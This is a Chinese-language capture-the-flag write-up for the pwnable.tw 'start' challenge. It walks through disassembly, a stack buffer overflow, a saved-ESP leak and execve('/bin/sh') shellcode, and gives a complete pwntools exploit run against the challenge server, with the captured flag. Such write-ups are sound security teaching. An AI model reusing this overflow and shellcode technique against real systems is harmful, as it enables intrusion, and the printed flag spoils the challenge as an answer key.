--- title: 【Pwnable.tw】start date: 2019-10-25 21:04:14 tags: - 二进制 - Linux - CTF categories: Pwn --- # [Pwnable.tw](http://pwnable.tw/) start 程序链接：https://pwnable.tw/static/chall/start ## 0x01 检查保护情况 不得不说，[checksec](http://www.trapkit.de/tools/checksec.html)这个工作看似简单，用用现成工具就行，但这决定了我们之后漏洞利用的方式，是否栈代码执行，还是ROP。 最好多用几个工具进行检查，兼听则明。比如这个程序用peda检查就开启了NX，但实际上并没有。所以理想的话，把shellcode布置到栈上就可以了！ ```shell $ checksec ./start Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) ``` **RELRO(Relocation Read Only)：尽量使存储区域只读** ## 0x02 漏洞分析 用IDA逆向分析，汇编代码 ```c 保存现场环境esp、_exit .text:08048060 push esp .text:08048061 push offset _exit 清空寄存器EAX EBX ECX EDX .text:08048066 xor eax, eax .text:08048068 xor ebx, ebx .text:0804806A xor ecx, ecx .text:0804806C xor edx, edx 向栈上压入参数 .text:0804806E push 3A465443h CTF: .text:08048073 push 20656874h the .text:08048078 push 20747261h art .text:0804807D push 74732073h s st .text:08048082 push 2774654Ch Let’ 系统调用80h .text:08048087 mov ecx, esp ; addr .text:08048089 mov dl, 14h ; len .text:0804808B mov bl, 1 ; fd .text:0804808D mov al, 4 .text:0804808F int 80h ; LINUX - sys_write 系统调用80h .text:08048091 xor ebx, ebx .text:08048093 mov dl, 3Ch .text:08048095 mov al, 3 .text:08048097 int 80h ; LINUX - 恢复栈平衡，返回到_exit .text:08048099 add esp, 14h .text:0804809C retn .text:0804809C _start endp ; sp-analysis failed ``` ### **INT 80h 系统调用方法** **系统调用的过程**可以总结如下： 1． 执行用户程序(如:fork) 2． 根据glibc中的函数实现，取得系统调用号并执行int $0x80产生中断。 3． 进行地址空间的转换和堆栈的切换，执行SAVE_ALL。（进行内核模式） 4． 进行中断处理，根据系统调用表调用内核函数。 5． 执行内核函数。 6． 执行RESTORE_ALL并返回用户模式 Linux 32位的系统调用时通过int 80h来实现的，eax寄存器中为调用的功能号，ebx、ecx、edx、esi等等寄存器则依次为参数。 [关于系统调用的功能号](http://syscalls.kernelgrok.com/)： ```shell #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 ``` **第一个系统调用：** 将esp开始的14h字节数据写入标准输出（文件描述符1），即输出"Let's start the CTF:“ |name |eax |ebx |ecx |edx | |--- |--- |--- |--- |--- | |[sys_write](http://www.kernel.org/doc/man-pages/online/pages/man2/write.2.html) |0x04 |unsigned int fd = 1 |const char __user *buf = esp |size_t count =14h | |--- |--- |--- |--- |--- | **第二个系统调用：** 从标准输入读取3ch字节到栈空间 |name |eax |ebx |ecx |edx | |--- |--- |--- |--- |--- | |[sys_read](http://www.kernel.org/doc/man-pages/online/pages/man2/read.2.html) |0x03 |unsigned int fd = 1 |char __user *buf = esp |size_t count = 3ch | |--- |--- |--- |--- |--- | ### 栈变化情况 1. 程序执行到0804808F：sys_write 输出14h字节数据：Let's start the CTF: ``` +-----------------+ <---- | Let’ | | +-----------------+ | | s st | | +-----------------+ | | art | 14h +-----------------+ | | the | | +-----------------+ | | CTF: | | +-----------------+ <----- | offset _exit | +-----------------+ | Saved ESP | H-> +-----------------+ ``` 1. 08048097: sys_read read函数最多可以读取3ch字节，超出了分配的空间，可以用来覆盖ret_addr和esp。经调试验证，20字节后覆盖ret，24字节后覆盖esp。 ``` gdb-peda$ pattern search Registers contain pattern buffer: EIP+0 found at offset: 20 Registers point to pattern buffer: [ECX] --> offset 0 - size ~32 [ESP] --> offset 24 - size ~8 Pattern buffer found at: 0xffcc2764 : offset 0 - size 30 ($sp + -0x18 [-6 dwords]) Reference to pattern buffer not found in memory ``` ``` +-----------------+ <---- | aaaa | | +-----------------+ | | aaaa | | +-----------------+ | | aaaa | 14h +-----------------+ | | aaaa | | +-----------------+ | | aaaa | | +-----------------+ <----- | aaaa | +-----------------+ | Saved ESP | H-> +-----------------+ ``` ## 0x03 漏洞利用 ### 利用思路 现在EIP已经在我们的掌控之中了，关键是如何跳转到布置的shell code中。一般来说，首先会去找JMP ESP指令，这样就能让shellcode获得执行。但这段汇编代码没有，可以利用的只有read和write。如果可以write出Saved ESP的地址，然后覆盖掉offset _exit，就能成功shell。 1. 泄露Saved ESP ```python start = p.recvuntil(':') //等待write执行完毕 payload = 'a'*0x14 + p32(0x08048087) //发送溢出数据，覆盖ret为0x08048087->输出14h字节 p.send(payload) data = p.recv() //接收输出数据，其中就有Saved ESP ``` debug过程： ```shell [DEBUG] Received 0x14 bytes: "Let's start the CTF:" [DEBUG] Sent 0x18 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ 00000010 61 61 61 61 87 80 04 08 │aaaa│····││ 00000018 [DEBUG] Received 0x14 bytes: 00000000 **20 53 81**** ff** 01 00 00 00 58 6d 81 ff 00 00 00 00 │ S··│····│Xm··│····│ 00000010 60 6d 81 ff │`m··││ 00000014 ``` 2. 覆盖RET 此时程序已经泄露出之前的Saved_esp，栈的情况已经摸清了，然后程序继续执行read，注意read完 add esp, 14h后再ret，因此，ret_addr在esp+14h的地方。 ```python payload = 'a'*0x14 + p32(saved_esp + 20) + shellcode print p32(saved_esp) p.send(payload) ``` 3. shellcode shellcode同样可以用系统调用的方式执行execve("/bin/sh",NULL,NULL) |name |eax |ebx |ecx |edx |esi | |--- |--- |--- |--- |--- |--- | |[sys_execve](http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html) |0x0b |char __user * |char __user *__user * |char __user *__user * |[struct pt_regs](http://lxr.free-electrons.com/source/arch/alpha/include/asm/ptrace.h?v=2.6.35#L19) | |--- |--- |--- |--- |--- |--- | 其中，该程序是 32 位，所以我们需要使得 * 系统调用号，即 eax 应该为 0xb * 第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。 * 第二个参数，即 ecx 应该为 0 * 第三个参数，即 edx 应该为 0 ```c xor eax,eax //清空eax push eax //0入栈，当作字符/bin/sh结尾 push '/sh' push '/bin' //'/sh'为3字节，未对齐' ->'/sh\0'或//sh mov ebx, esp //指向/bin/sh地址 xor ecx,ecx xor edx,edx mov al, 0xb //系统调用号 int 80 ``` ```c shellcode=''' xor eax,eax push eax push %s push %s mov ebx, esp xor ecx,ecx xor edx,edx mov al, 0xb int 0x80''' %(u32('/sh\0'),u32('/bin')) ``` 使用asm(shellcode)来进行汇编,可以使用context来指定cpu类型以及操作系统，如context(arch = 'amd64' , os = 'linux', log_level="debug") ### Catch THE FLAG ```python from pwn import * from binascii import * shellcode=''' xor eax,eax push eax push %s push %s mov ebx, esp xor ecx,ecx xor edx,edx mov al, 0xb int 0x80''' %(u32('/sh\0'),u32('/bin')) def dbg(): p = process('./start') context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug' gdb.attach(proc.pidof(p)[0]) pause() return p def leak_esp(p): start = p.recvuntil(':') payload = 'a'*0x14 + p32(0x08048087) p.send(payload) saved_esp = p.recv()[:4] return u32(saved_esp) def pwn(p,saved_esp): payload = 'a'*0x14 + p32(saved_esp + 20) + asm(shellcode) p.send(payload) p.interactive() if __name__ == '__main__': # p = dbg() # p = process("./start") p = remote("chall.pwnable.tw",10000) saved_esp = leak_esp(p) print "leak saved_esp: %s" %hex(saved_esp+20) pwn(p,saved_esp) ``` ```shell $ python ./start.py [+] Opening connection to chall.pwnable.tw on port 10000: Done leak saved_esp: 0xffb43704 [*] Switching to interactive mode $ whoami start $ find -name flag ./home/start/flag $ cat ./home/start/flag FLAG{Pwn4bl3_tW_1s_y0ur_st4rt} ``` ## REF [Linux 系统调用](https://introspelliam.github.io/2017/08/06/pwn/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A/) **pwntools使用** http://brieflyx.me/2015/python-module/pwntools-intro/ https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/ https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/